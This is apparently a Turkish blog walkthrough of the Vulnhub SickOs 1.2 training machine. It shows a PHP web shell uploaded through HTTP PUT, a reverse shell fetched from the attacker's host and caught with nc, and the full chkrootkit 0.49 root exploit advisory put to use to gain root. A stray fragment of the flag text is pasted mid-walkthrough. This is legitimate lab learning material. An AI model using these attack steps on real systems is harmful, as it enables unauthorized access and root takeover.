Makine Hakkında Bilgiler
Açıklama:
Get /root/7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
Vulnhub Sayfası:
https://www.vulnhub.com/entry/sickos-12,144/
İndirme Sayfası: https://download.vulnhub.com/sickos/sick0s1.2.zip
Walkthrough
Makinenin ip adresini tespit edelim.
┌──(root💀kali)-[/home/kali]
└─# arp-scan -l | grep 00:0c:29:9d:4b:75
10.10.250.178 00:0c:29:9d:4b:75 VMware, Inc.
┌──(root💀kali)-[/home/kali]
└─# ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.250.177 netmask 255.255.255.0 broadcast 10.10.250.255
inet6 fe80::20c:29ff:fe4a:4d3f prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:4a:4d:3f txqueuelen 1000 (Ethernet)
RX packets 251961 bytes 50932999 (48.5 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 417209 bytes 42921077 (40.9 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Daha sonrasında bir nmap taraması gerçekleştirelim.
┌──(root💀kali)-[/home/kali/oscp/sickos]
└─# nmap -p- -A 10.10.250.178 -T4
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-01 17:04 EDT
Nmap scan report for 10.10.250.178
Host is up (0.00085s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 66:8c:c0:f2:85:7c:6c:c0:f6:ab:7d:48:04:81:c2:d4 (DSA)
| 2048 ba:86:f5:ee:cc:83:df:a6:3f:fd:c1:34:bb:7e:62:ab (RSA)
|_ 256 a1:6c:fa:18:da:57:1d:33:2c:52:e4:ec:97:e2:9e:af (ECDSA)
80/tcp open http lighttpd 1.4.28
|_http-server-header: lighttpd/1.4.28
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:9D:4B:75 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.85 ms 10.10.250.178
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 104.56 seconds
- portta bazı incelemeler yaptıktan sonra PUT metodunun açık olduğunu gördüm. Bunun için yaptığım dirb taramasında iki adet url buldum.
┌──(root💀kali)-[/home/kali/oscp/sickos] └─# cat hosts http://10.10.250.178/test/ http://10.10.250.178/
Aşağıda yazdığım python kodu ile kontrollerimi gerçekleştirdim.
```sh
┌──(root💀kali)-[/home/kali/oscp/sickos/check4me]
└─# cat check4mePUT.py
import requests
import sys
wordlist = sys.argv[1]
method = sys.argv[2]
file = open(wordlist)
wordlist = file.read().split("\n")
file.close()
for i in wordlist:
try:
r = requests.options(i)
if(r.headers["allow"].find(method)):
print("[*]",str(method),"==>",i)
except:
continue
┌──(root💀kali)-[/home/kali/oscp/sickos/check4me]
└─# python3 check4mePUT.py ../hosts PUT
[*] PUT ==> http://10.10.250.178/test/
Daha sonrasında içeriye bir reverse shell attım. Ancak bir çok prtu denememe rağmen sadece 443 portttan açtığım reverse işe yaradı. Bu tuhaf...
┌──(root💀kali)-[/home/kali/oscp/sickos/check4me]
└─# echo '<?php system($_GET["cmd"]); ?>)' >> webShell.php
┌──(root💀kali)-[/home/kali/oscp/sickos/check4me]
└─# curl --upload-file webShell.php -v --url http://10.10.250.178/test/shell.php -0 --http1.0
* Trying 10.10.250.178:80...
* Connected to 10.10.250.178 (10.10.250.178) port 80 (#0)
> PUT /test/shell.php HTTP/1.0
> Host: 10.10.250.178
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Length: 32
>
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
* HTTP 1.0, assume close after body
< HTTP/1.0 201 Created
< Content-Length: 0
< Connection: close
< Date: Tue, 01 Jun 2021 21:10:05 GMT
< Server: lighttpd/1.4.28
<
* Closing connection 0
┌──(root💀kali)-[/home/kali/oscp/sickos/check4me]
└─# curl http://10.10.250.178/test/shell.php?cmd=whoami
www-data
)
Evet dediğim gibi daha sonrasıdna rever shell attım 443. portumda çalışacak bir nc ile dinlemeye başladım. Reverse için https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php adresindeki dosyayı kullandım.
┌──(root💀kali)-[/home/kali/oscp/sickos]
└─# python3 -m http.server 443 1 ⨯
Serving HTTP on 0.0.0.0 port 443 (http://0.0.0.0:443/) ...
10.10.250.178 - - [01/Jun/2021 17:50:23] "GET /php.php HTTP/1.1" 200 -
Yukarıdaki sonucu alabilmek için tarayıcıda http://10.10.250.178/test/shell.php?cmd=wget%20http://10.10.250.177:443/php.php adresine istek attım. Daha sonrasında http://10.10.250.178/test/php.php adresine istek attım ve nc ile shell alabildim.
rmation about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.
Thanks for giving this try.
@vulnhub: Thanks for hosting this UP!.
$
$
$
$ ^C
┌──(root💀kali)-[/home/kali/oscp/sickos]
└─# 1 ⨯ 1 ⚙
┌──(root💀kali)-[/home/kali/oscp/sickos]
└─# nc -lvp 443 1 ⨯ 1 ⚙
listening on [any] 443 ...
10.10.250.178: inverse host lookup failed: Unknown host
connect to [10.10.250.177] from (UNKNOWN) [10.10.250.178] 38179
Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux
16:35:59 up 2:32, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Buradan sonra uzun bir süre tıkandım diyebilirim. Her zaman kullandığım lse.sh script ile liux enum işlemi gerçekleştirdim ancak ilk bakışta bir şey yoktu daha sonrasında aşağıdaki çıktıyı yakaladım.
-rw-r--r-- 1 root root 722 Jun 19 2012 /etc/crontab
/etc/cron.daily:
total 72
drwxr-xr-x 2 root root 4096 Apr 12 2016 .
drwxr-xr-x 84 root root 4096 Jun 1 2021 ..
-rw-r--r-- 1 root root 102 Jun 19 2012 .placeholder
-rwxr-xr-x 1 root root 15399 Nov 15 2013 apt
-rwxr-xr-x 1 root root 314 Apr 18 2013 aptitude
-rwxr-xr-x 1 root root 502 Mar 31 2012 bsdmainutils
-rwxr-xr-x 1 root root 2032 Jun 4 2014 chkrootkit
-rwxr-xr-x 1 root root 256 Oct 14 2013 dpkg
-rwxr-xr-x 1 root root 338 Dec 20 2011 lighttpd
-rwxr-xr-x 1 root root 372 Oct 4 2011 logrotate
-rwxr-xr-x 1 root root 1365 Dec 28 2012 man-db
-rwxr-xr-x 1 root root 606 Aug 17 2011 mlocate
-rwxr-xr-x 1 root root 249 Sep 12 2012 passwd
-rwxr-xr-x 1 root root 2417 Jul 1 2011 popularity-contest
-rwxr-xr-x 1 root root 2947 Jun 19 2012 standard
/etc/cron.hourly:
total 12Araştırma esnasında chkrootkit programının zafiyeetli bir sürümünün olduğunu gördüm.
---------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Chkrootkit - Local Privilege Escalation (Metasploit) | linux/local/38775.rb
Chkrootkit 0.49 - Local Privilege Escalation | linux/local/33899.txt
--------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
└─# cat /usr/share/exploitdb/exploits/linux/local/33899.txt 1 ⨯
We just found a serious vulnerability in the chkrootkit package, which
may allow local attackers to gain root access to a box in certain
configurations (/tmp not mounted noexec).
The vulnerability is located in the function slapper() in the
shellscript chkrootkit:
#
# SLAPPER.{A,B,C,D} and the multi-platform variant
#
slapper (){
SLAPPER_FILES="${ROOTDIR}tmp/.bugtraq ${ROOTDIR}tmp/.bugtraq.c"
SLAPPER_FILES="$SLAPPER_FILES ${ROOTDIR}tmp/.unlock ${ROOTDIR}tmp/httpd \
${ROOTDIR}tmp/update ${ROOTDIR}tmp/.cinik ${ROOTDIR}tmp/.b"a
SLAPPER_PORT="0.0:2002 |0.0:4156 |0.0:1978 |0.0:1812 |0.0:2015 "
OPT=-an
STATUS=0
file_port=
if ${netstat} "${OPT}"|${egrep} "^tcp"|${egrep} "${SLAPPER_PORT}">
/dev/null 2>&1
then
STATUS=1
[ "$SYSTEM" = "Linux" ] && file_port=`netstat -p ${OPT} | \
$egrep ^tcp|$egrep "${SLAPPER_PORT}" | ${awk} '{ print $7 }' |
tr -d :`
fi
for i in ${SLAPPER_FILES}; do
if [ -f ${i} ]; then
file_port=$file_port $i
STATUS=1
fi
done
if [ ${STATUS} -eq 1 ] ;then
echo "Warning: Possible Slapper Worm installed ($file_port)"
else
if [ "${QUIET}" != "t" ]; then echo "not infected"; fi
return ${NOT_INFECTED}
fi
}
The line 'file_port=$file_port $i' will execute all files specified in
$SLAPPER_FILES as the user chkrootkit is running (usually root), if
$file_port is empty, because of missing quotation marks around the
variable assignment.
Steps to reproduce:
- Put an executable file named 'update' with non-root owner in /tmp (not
mounted noexec, obviously)
- Run chkrootkit (as uid 0)
Result: The file /tmp/update will be executed as root, thus effectively
rooting your box, if malicious content is placed inside the file.
If an attacker knows you are periodically running chkrootkit (like in
cron.daily) and has write access to /tmp (not mounted noexec), he may
easily take advantage of this.
Suggested fix: Put quotation marks around the assignment.
file_port="$file_port $i"
I will also try to contact upstream, although the latest version of
chkrootkit dates back to 2009 - will have to see, if I reach a dev there.
Dosyayo okuduğumda /tmp/update isimli bir dosya oluşturduğumda belirli bir süre sonrasında chkrootkit'in bunu root haklarında çalıştırıcağı söyleniyordu. Deneyelim...
$ echo 'whoami > /tmp/test;' > /tmp/update
$ chmod 777 /tmp/update
$ cat test
su root
Harika! Hadi görevi tamamlayalım.
$ echo 'chmod -R 777 /root' > /tmp/update
$ ls /root
ls: cannot open directory /root: Permission denied
$ ls /root
ls: cannot open directory /root: Permission denied
$ cat update
chmod -R 777 /root
$ ls /root
304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz
7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
chkrootkit-0.49
newRule
test
$ cat /root/7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.
Thanks for giving this try.
@vulnhub: Thanks for hosting this UP!.
$
İlk Yorumu Siz Yapın